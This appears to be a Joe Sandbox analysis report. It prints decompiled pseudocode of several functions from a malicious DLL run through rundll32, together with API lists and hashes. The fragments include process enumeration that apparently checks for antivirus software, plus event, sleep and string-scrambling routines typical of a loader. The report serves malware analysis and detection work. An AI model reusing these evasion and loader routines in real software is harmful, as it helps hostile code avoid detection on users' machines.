                  • Opcode Fuzzy Hash: 56b3dd672323ff20b33caff63e5a198a5f72840c27464d6fd46e575c4398c7d2
                  • Instruction Fuzzy Hash: 9841A131B01219ABEF109F68DC40BDE7B75EF45314F004569ED19972A0EF70BE848B91
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D5454F Relevance: 6.1, APIs: 4, Instructions: 112COMMON
                  Download Yara Rule
                  C-Code - Quality: 39%
                  			E04D5454F(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				intOrPtr _t36;
				intOrPtr* _t37;
				intOrPtr* _t39;
				void* _t53;
				long _t58;
				void* _t59;

				_t53 = __ecx;
				_t59 = __eax;
				_t58 = 0;
				ResetEvent( *(__eax + 0x1c));
				_push( &_v8);
				_push(4);
				_push( &_v20);
				_push( *((intOrPtr*)(_t59 + 0x18)));
				if( *0x4d5a160() != 0) {
					L5:
					if(_v8 == 0) {
						 *((intOrPtr*)(_t59 + 0x30)) = 0;
						L21:
						return _t58;
					}
					 *0x4d5a174(0, 1,  &_v12);
					if(0 != 0) {
						_t58 = 8;
						goto L21;
					}
					_t36 = E04D533DC(0x1000);
					_v16 = _t36;
					if(_t36 == 0) {
						_t58 = 8;
						L18:
						_t37 = _v12;
						 *((intOrPtr*)( *_t37 + 8))(_t37);
						goto L21;
					}
					_push(0);
					_push(_v8);
					_push( &_v20);
					while(1) {
						_t39 = _v12;
						_t56 =  *_t39;
						 *((intOrPtr*)( *_t39 + 0x10))(_t39);
						ResetEvent( *(_t59 + 0x1c));
						_push( &_v8);
						_push(0x1000);
						_push(_v16);
						_push( *((intOrPtr*)(_t59 + 0x18)));
						if( *0x4d5a160() != 0) {
							goto L13;
						}
						_t58 = GetLastError();
						if(_t58 != 0x3e5) {
							L15:
							E04D561DA(_v16);
							if(_t58 == 0) {
								_t58 = E04D52B18(_v12, _t59);
							}
							goto L18;
						}
						_t58 = E04D516B2( *(_t59 + 0x1c), _t56, 0xffffffff);
						if(_t58 != 0) {
							goto L15;
						}
						_t58 =  *((intOrPtr*)(_t59 + 0x28));
						if(_t58 != 0) {
							goto L15;
						}
						L13:
						_t58 = 0;
						if(_v8 == 0) {
							goto L15;
						}
						_push(0);
						_push(_v8);
						_push(_v16);
					}
				}
				_t58 = GetLastError();
				if(_t58 != 0x3e5) {
					L4:
					if(_t58 != 0) {
						goto L21;
					}
					goto L5;
				}
				_t58 = E04D516B2( *(_t59 + 0x1c), _t53, 0xffffffff);
				if(_t58 != 0) {
					goto L21;
				}
				_t58 =  *((intOrPtr*)(_t59 + 0x28));
				goto L4;
			}














                  0x04d5454f
                  0x04d5455e
                  0x04d54563
                  0x04d54565
                  0x04d5456a
                  0x04d5456b
                  0x04d54570
                  0x04d54571
                  0x04d5457c
                  0x04d545ad
                  0x04d545b2
                  0x04d54675
                  0x04d54678
                  0x04d5467e
                  0x04d5467e
                  0x04d545bf
                  0x04d545c7
                  0x04d54672
                  0x00000000
                  0x04d54672
                  0x04d545d2
                  0x04d545d7
                  0x04d545dc
                  0x04d54664
                  0x04d54665
                  0x04d54665
                  0x04d5466b
                  0x00000000
                  0x04d5466b
                  0x04d545e2
                  0x04d545e4
                  0x04d545ea
                  0x04d545eb
                  0x04d545eb
                  0x04d545ee
                  0x04d545f1
                  0x04d545f7
                  0x04d545fc
                  0x04d545fd
                  0x04d54602
                  0x04d54605
                  0x04d54610
                  0x00000000
                  0x00000000
                  0x04d54618
                  0x04d54620
                  0x04d54649
                  0x04d5464c
                  0x04d54653
                  0x04d5465e
                  0x04d5465e
                  0x00000000
                  0x04d54653
                  0x04d5462c
                  0x04d54630
                  0x00000000
                  0x00000000
                  0x04d54632
                  0x04d54637
                  0x00000000
                  0x00000000
                  0x04d54639
                  0x04d54639
                  0x04d5463e
                  0x00000000
                  0x00000000
                  0x04d54640
                  0x04d54641
                  0x04d54644
                  0x04d54644
                  0x04d545eb
                  0x04d54584
                  0x04d5458c
                  0x04d545a5
                  0x04d545a7
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04d545a7
                  0x04d54598
                  0x04d5459c
                  0x00000000
                  0x00000000
                  0x04d545a2
                  0x00000000

                  APIs
                  • ResetEvent.KERNEL32(?), ref: 04D54565
                  • GetLastError.KERNEL32 ref: 04D5457E
                    • Part of subcall function 04D516B2: WaitForMultipleObjects.KERNEL32(00000002,04D57C47,00000000,04D57C47,?,?,?,04D57C47,0000EA60), ref: 04D516CD
                  • ResetEvent.KERNEL32(?), ref: 04D545F7
                  • GetLastError.KERNEL32 ref: 04D54612
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: ErrorEventLastReset$MultipleObjectsWait
                  • String ID:
                  • API String ID: 2394032930-0
                  • Opcode ID: e8ec319f6362610c96ec78ce348b6fb90efdc288866da78513ca39f34cab6f76
                  • Instruction ID: 9f58e6d74a4c04efa63dbe5d824320522cb5bda3f932f18b03a632656b4bf68a
                  • Opcode Fuzzy Hash: e8ec319f6362610c96ec78ce348b6fb90efdc288866da78513ca39f34cab6f76
                  • Instruction Fuzzy Hash: F331B132A00604ABDF219FA5CC44FAE77B9FF84360F144568E951972A0EF30F9858B11
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D549D0 Relevance: 6.1, APIs: 4, Instructions: 96synchronizationCOMMON
                  Download Yara Rule
                  C-Code - Quality: 87%
                  			E04D549D0(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				short* _t19;
				void* _t25;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				intOrPtr* _t32;

				_t6 =  *0x4d5a310; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x4d5a348; // 0xf1d5a8
				_t3 = _t8 + 0x4d5b7b4; // 0x61636f4c
				_t25 = 0;
				_t30 = E04D574EC(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x4d5a34c, 1, 0, _t30);
					E04D561DA(_t30);
				}
				_t12 =  *0x4d5a2fc; // 0x4000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0 || E04D530D5() != 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t31 = E04D537DF(_t32, 0);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t19 =  *0x4d5a124( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 = _t19 + 2;
					}
					_t31 = E04D523C4(0,  *_t32, _t19, 0);
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}














                  0x04d549d1
                  0x04d549d8
                  0x04d549e2
                  0x04d549e6
                  0x04d549ec
                  0x04d549fb
                  0x04d54a02
                  0x04d54a06
                  0x04d54a18
                  0x04d54a1a
                  0x04d54a1a
                  0x04d54a1f
                  0x04d54a26
                  0x04d54a7d
                  0x04d54a7d
                  0x04d54a83
                  0x04d54a85
                  0x04d54a85
                  0x04d54a8f
                  0x04d54a93
                  0x04d54aa5
                  0x04d54aa5
                  0x04d54aa9
                  0x04d54aaf
                  0x04d54aaf
                  0x00000000
                  0x04d54a3f
                  0x04d54a44
                  0x04d54a4c
                  0x04d54a50
                  0x04d54a54
                  0x04d54a54
                  0x04d54a61
                  0x04d54a65
                  0x04d54a69
                  0x04d54abe
                  0x04d54ac4
                  0x04d54ac4
                  0x04d54a77
                  0x04d54a7b
                  0x04d54ab2
                  0x04d54ab4
                  0x04d54ab7
                  0x04d54ab7
                  0x00000000
                  0x04d54ab4
                  0x04d54a7b
                  0x00000000
                  0x04d54a65

                  APIs
                    • Part of subcall function 04D574EC: lstrlen.KERNEL32(00000005,00000000,43175AC3,00000027,00000000,05C79DD8,00000000,?,?,43175AC3,00000005,04D5A00C,4D283A53,?,?), ref: 04D57522
                    • Part of subcall function 04D574EC: lstrcpy.KERNEL32(00000000,00000000), ref: 04D57546
                    • Part of subcall function 04D574EC: lstrcat.KERNEL32(00000000,00000000), ref: 04D5754E
                  • CreateEventA.KERNEL32(04D5A34C,00000001,00000000,00000000,61636F4C,00000001,00000000,?,?,00000000,?,04D56A95,?,?,?), ref: 04D54A11
                    • Part of subcall function 04D561DA: RtlFreeHeap.NTDLL(00000000,00000000,04D56383,00000000,?,00000000,00000000), ref: 04D561E6
                  • WaitForSingleObject.KERNEL32(00000000,00004E20,04D56A95,00000000,00000000,?,00000000,?,04D56A95,?,?,?), ref: 04D54A71
                  • WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,?,?,00000000,?,04D56A95,?,?,?), ref: 04D54A9F
                  • CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,?,?,00000000,?,04D56A95,?,?,?), ref: 04D54AB7
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
                  • String ID:
                  • API String ID: 73268831-0
                  • Opcode ID: c8f2377daea7c412e4646efee50c92f3f8be3a36f7608f6c623d8e592cfcea8f
                  • Instruction ID: 56ff4dc5bcbb0530ef86ede42a796128000b45bf2892a362f5ef960fb2318c43
                  • Opcode Fuzzy Hash: c8f2377daea7c412e4646efee50c92f3f8be3a36f7608f6c623d8e592cfcea8f
                  • Instruction Fuzzy Hash: CA21D0326003519BDF719A689C58B6B73EDFB88B1CF050625FE55E6260EF24EC80875A
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D569E6 Relevance: 6.1, APIs: 4, Instructions: 87sleepCOMMON
                  Download Yara Rule
                  C-Code - Quality: 39%
                  			E04D569E6(void* __ecx, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t38 = E04D52A3D(__ecx,  &_v32);
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t23 =  &(_t39[1]);
						if(_t39[1] != 0) {
							E04D528B3(_t23);
						}
					}
					return _t38;
				}
				if(E04D56ADC(0x40,  &_v16) != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x4d5a34c, 1, 0,  *0x4d5a3e4);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8);
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E04D55704(_t36);
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E04D54C94(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E04D57220(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E04D549D0( &_v32, _t39);
					goto L13;
				}
			}












                  0x04d569e6
                  0x04d569f3
                  0x04d569f9
                  0x04d569fa
                  0x04d569fb
                  0x04d569fc
                  0x04d569fd
                  0x04d56a01
                  0x04d56a0d
                  0x04d56a11
                  0x04d56a99
                  0x04d56a99
                  0x04d56a9c
                  0x04d56a9e
                  0x04d56aa6
                  0x04d56aac
                  0x04d56aaf
                  0x04d56aaf
                  0x04d56aac
                  0x04d56aba
                  0x04d56aba
                  0x04d56a24
                  0x04d56a26
                  0x04d56a26
                  0x04d56a3d
                  0x04d56a41
                  0x04d56a44
                  0x04d56a4f
                  0x04d56a56
                  0x04d56a56
                  0x04d56a5f
                  0x04d56a63
                  0x04d56a71
                  0x04d56a65
                  0x04d56a65
                  0x04d56a66
                  0x04d56a67
                  0x04d56a68
                  0x04d56a69
                  0x04d56a6a
                  0x04d56a6a
                  0x04d56a76
                  0x04d56a79
                  0x04d56a7d
                  0x04d56a7f
                  0x04d56a7f
                  0x04d56a86
                  0x00000000
                  0x04d56a88
                  0x04d56a88
                  0x04d56a95
                  0x00000000
                  0x04d56a95

                  APIs
                  • CreateEventA.KERNEL32(04D5A34C,00000001,00000000,00000040,?,?,74D0F710,00000000,74D0F730), ref: 04D56A37
                  • SetEvent.KERNEL32(00000000), ref: 04D56A44
                  • Sleep.KERNEL32(00000BB8), ref: 04D56A4F
                  • CloseHandle.KERNEL32(00000000), ref: 04D56A56
                    • Part of subcall function 04D55704: WaitForSingleObject.KERNEL32(00000000,?,?,?,04D56A76,?,04D56A76,?,?,?,?,?,04D56A76,?), ref: 04D557DE
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: Event$CloseCreateHandleObjectSingleSleepWait
                  • String ID:
                  • API String ID: 2559942907-0
                  • Opcode ID: dee75162cba52e7785f6d65cad3e1a47ea52db9616a5d3a23c8bd4e29479820f
                  • Instruction ID: 1624f0aa2eb895a2fd0a95d0489a18ad450060c9b7dab4ea6f96869811c4c90c
                  • Opcode Fuzzy Hash: dee75162cba52e7785f6d65cad3e1a47ea52db9616a5d3a23c8bd4e29479820f
                  • Instruction Fuzzy Hash: 4321A472E00219ABDF20AFF4D8849EE77BCEB44314B458569EE15E7220DF34F9558BA0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D54461 Relevance: 6.1, APIs: 4, Instructions: 76sleepstringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 78%
                  			E04D54461(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0;
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E04D533DC(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16);
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}














                  0x04d5446d
                  0x04d54471
                  0x04d54472
                  0x04d54473
                  0x04d54475
                  0x04d54477
                  0x04d5447a
                  0x04d5447f
                  0x04d54516
                  0x04d5451d
                  0x04d5451d
                  0x04d54488
                  0x04d5448f
                  0x04d5449f
                  0x04d5449f
                  0x04d544a5
                  0x04d544a7
                  0x04d544ac
                  0x04d544b5
                  0x04d544bb
                  0x04d544c0
                  0x04d544cb
                  0x04d544cf
                  0x04d544d1
                  0x04d544d2
                  0x04d544db
                  0x04d544df
                  0x04d544f0
                  0x04d544e1
                  0x04d544e6
                  0x04d544eb
                  0x04d544fa
                  0x04d544fa
                  0x04d544cf
                  0x04d54500
                  0x04d54506
                  0x04d54506
                  0x04d5450f
                  0x04d54514
                  0x04d54514
                  0x00000000

                  APIs
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: FreeSleepStringlstrlenmemcpy
                  • String ID:
                  • API String ID: 1198164300-0
                  • Opcode ID: b4b41fb4e4eb2b0c5836eb6426f8195f0471b887d64a8699264ffa2fe8f84d26
                  • Instruction ID: 083c37b54516b5dc2ea7aba3c40c23fd60223fc686492124fc8f201119690b49
                  • Opcode Fuzzy Hash: b4b41fb4e4eb2b0c5836eb6426f8195f0471b887d64a8699264ffa2fe8f84d26
                  • Instruction Fuzzy Hash: AE215175A00209FFDF01DFA8D898A9EBBB8FF48355B1041A9ED0597310EB70EA40CB61
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D52708 Relevance: 6.1, APIs: 4, Instructions: 61memorystringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 68%
                  			E04D52708(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x4d5a2d8, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x4d5a2f0; // 0x40be0cdf
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x4d5a2f0 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

















                  0x04d52710
                  0x04d52713
                  0x04d52719
                  0x04d52731
                  0x04d52733
                  0x04d52738
                  0x04d5273a
                  0x04d5273d
                  0x04d5273f
                  0x04d52742
                  0x04d52744
                  0x04d52744
                  0x04d52746
                  0x04d52751
                  0x04d52756
                  0x04d52767
                  0x04d5276f
                  0x04d52774
                  0x04d52777
                  0x04d5277a
                  0x04d5277c
                  0x04d5277f
                  0x04d52782
                  0x04d52782
                  0x04d52785
                  0x04d52790
                  0x04d52795
                  0x04d5279f

                  APIs
                  • lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,04D56708,00000000,?,7491C740,04D53ECE,00000000,05C79600), ref: 04D52713
                  • RtlAllocateHeap.NTDLL(00000000,?), ref: 04D5272B
                  • memcpy.NTDLL(00000000,05C79600,-00000008,?,?,?,04D56708,00000000,?,7491C740,04D53ECE,00000000,05C79600), ref: 04D5276F
                  • memcpy.NTDLL(00000001,05C79600,00000001,04D53ECE,00000000,05C79600), ref: 04D52790
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: memcpy$AllocateHeaplstrlen
                  • String ID:
                  • API String ID: 1819133394-0
                  • Opcode ID: a3f90b5e0d2ac59270aee4889a8a1dec59e1389e98b190d339ae6fdf8a1788c1
                  • Instruction ID: d7698bd7a479a918e0b93d267f3a1828607a6d563145228276eac0e56a65144b
                  • Opcode Fuzzy Hash: a3f90b5e0d2ac59270aee4889a8a1dec59e1389e98b190d339ae6fdf8a1788c1
                  • Instruction Fuzzy Hash: 6611C672B00215EFD710CA69DC95D9E7FEEEB90360B1502B6F904DB250EF759E0487A0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D530D5 Relevance: 6.0, APIs: 4, Instructions: 41processCOMMON
                  Download Yara Rule
                  C-Code - Quality: 68%
                  			E04D530D5() {
				char _v264;
				void* _v300;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t17 = CreateToolhelp32Snapshot(2, 0);
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0x4d5a348; // 0xf1d5a8
						_t2 = _t9 + 0x4d5be88; // 0x73617661
						_push( &_v264);
						if( *0x4d5a12c() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}









                  0x04d530e0
                  0x04d530ea
                  0x04d530ee
                  0x04d530f8
                  0x04d53129
                  0x04d530ff
                  0x04d53104
                  0x04d53111
                  0x04d5311a
                  0x04d53131
                  0x04d5311c
                  0x04d53124
                  0x00000000
                  0x04d53124
                  0x04d53132
                  0x04d53133
                  0x00000000
                  0x04d53133
                  0x00000000
                  0x04d5312d
                  0x04d53139
                  0x04d5313e

                  APIs
                  • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 04D530E5
                  • Process32First.KERNEL32(00000000,?), ref: 04D530F8
                  • Process32Next.KERNEL32(00000000,?), ref: 04D53124
                  • CloseHandle.KERNEL32(00000000), ref: 04D53133
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
                  • String ID:
                  • API String ID: 420147892-0
                  • Opcode ID: eb5cd0eb18a725e2d91b6a1961b2d24c6c11d2a885440cb457be24eaab72c837
                  • Instruction ID: f5275dfc1d6d0172e9b4ab0c5225135ab93b2be651995a2bdcb5a0ee19a1b570
                  • Opcode Fuzzy Hash: eb5cd0eb18a725e2d91b6a1961b2d24c6c11d2a885440cb457be24eaab72c837
                  • Instruction Fuzzy Hash: 2DF096323016245BDF20BA769C49EEB37ECEB85394F0000A1FE55C2110EE24E9498A71
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04CC1F1E Relevance: 6.0, APIs: 4, Instructions: 40COMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04CC1F1E() {
				void* _t1;
				unsigned int _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t10;
				void* _t14;

				_t10 =  *0x4cc41b0;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0x4cc41bc = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 != 5) {
					L4:
					if(_t14 <= 0) {
						_t4 = 0x32;
						return _t4;
					} else {
						goto L5;
					}
				} else {
					if(_t3 >> 8 > 0) {
						L5:
						 *0x4cc41ac = _t3;
						_t5 = GetCurrentProcessId();
						 *0x4cc41a8 = _t5;
						 *0x4cc41b0 = _t10;
						_t6 = OpenProcess(0x10047a, 0, _t5);
						 *0x4cc41a4 = _t6;
						if(_t6 == 0) {
							 *0x4cc41a4 =  *0x4cc41a4 | 0xffffffff;
						}
						return 0;
					} else {
						_t14 = _t3 - _t3;
						goto L4;
					}
				}
			}










                  0x04cc1f1f
                  0x04cc1f2d
                  0x04cc1f33
                  0x04cc1f3a
                  0x04cc1f91
                  0x04cc1f91
                  0x04cc1f3c
                  0x04cc1f44
                  0x04cc1f51
                  0x04cc1f51
                  0x04cc1f8d
                  0x04cc1f8f
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04cc1f46
                  0x04cc1f4d
                  0x04cc1f53
                  0x04cc1f53
                  0x04cc1f58
                  0x04cc1f66
                  0x04cc1f6b
                  0x04cc1f71
                  0x04cc1f77
                  0x04cc1f7e
                  0x04cc1f80
                  0x04cc1f80
                  0x04cc1f8a
                  0x04cc1f4f
                  0x04cc1f4f
                  0x00000000
                  0x04cc1f4f
                  0x04cc1f4d

                  APIs
                  • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,04CC1231), ref: 04CC1F2D
                  • GetVersion.KERNEL32 ref: 04CC1F3C
                  • GetCurrentProcessId.KERNEL32 ref: 04CC1F58
                  • OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 04CC1F71
                  Memory Dump Source
                  • Source File: 00000005.00000002.776540685.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: true
                  • Associated: 00000005.00000002.776540685.0000000004CC5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4cc0000_rundll32.jbxd
                  Similarity
                  • API ID: Process$CreateCurrentEventOpenVersion
                  • String ID:
                  • API String ID: 845504543-0
                  • Opcode ID: 1ea5a187c96755023c716841e29447ac37d4a7edee9e45d1847de4c26776e032
                  • Instruction ID: feca7518c752122f585d8a7e66b5bf8bf1b6f563855adf56fdf4859f9299ce71
                  • Opcode Fuzzy Hash: 1ea5a187c96755023c716841e29447ac37d4a7edee9e45d1847de4c26776e032
                  • Instruction Fuzzy Hash: 76F0AF7E6443609FEB249F69F8297953BA1E706711F04C11AF985CA1D0DB7899818F4C
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D57843 Relevance: 6.0, APIs: 4, Instructions: 40COMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04D57843(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}






                  0x04d5784d
                  0x04d57851
                  0x04d57866
                  0x04d57868
                  0x04d5786d
                  0x04d57873
                  0x04d57875
                  0x04d5787a
                  0x04d57885
                  0x04d5787c
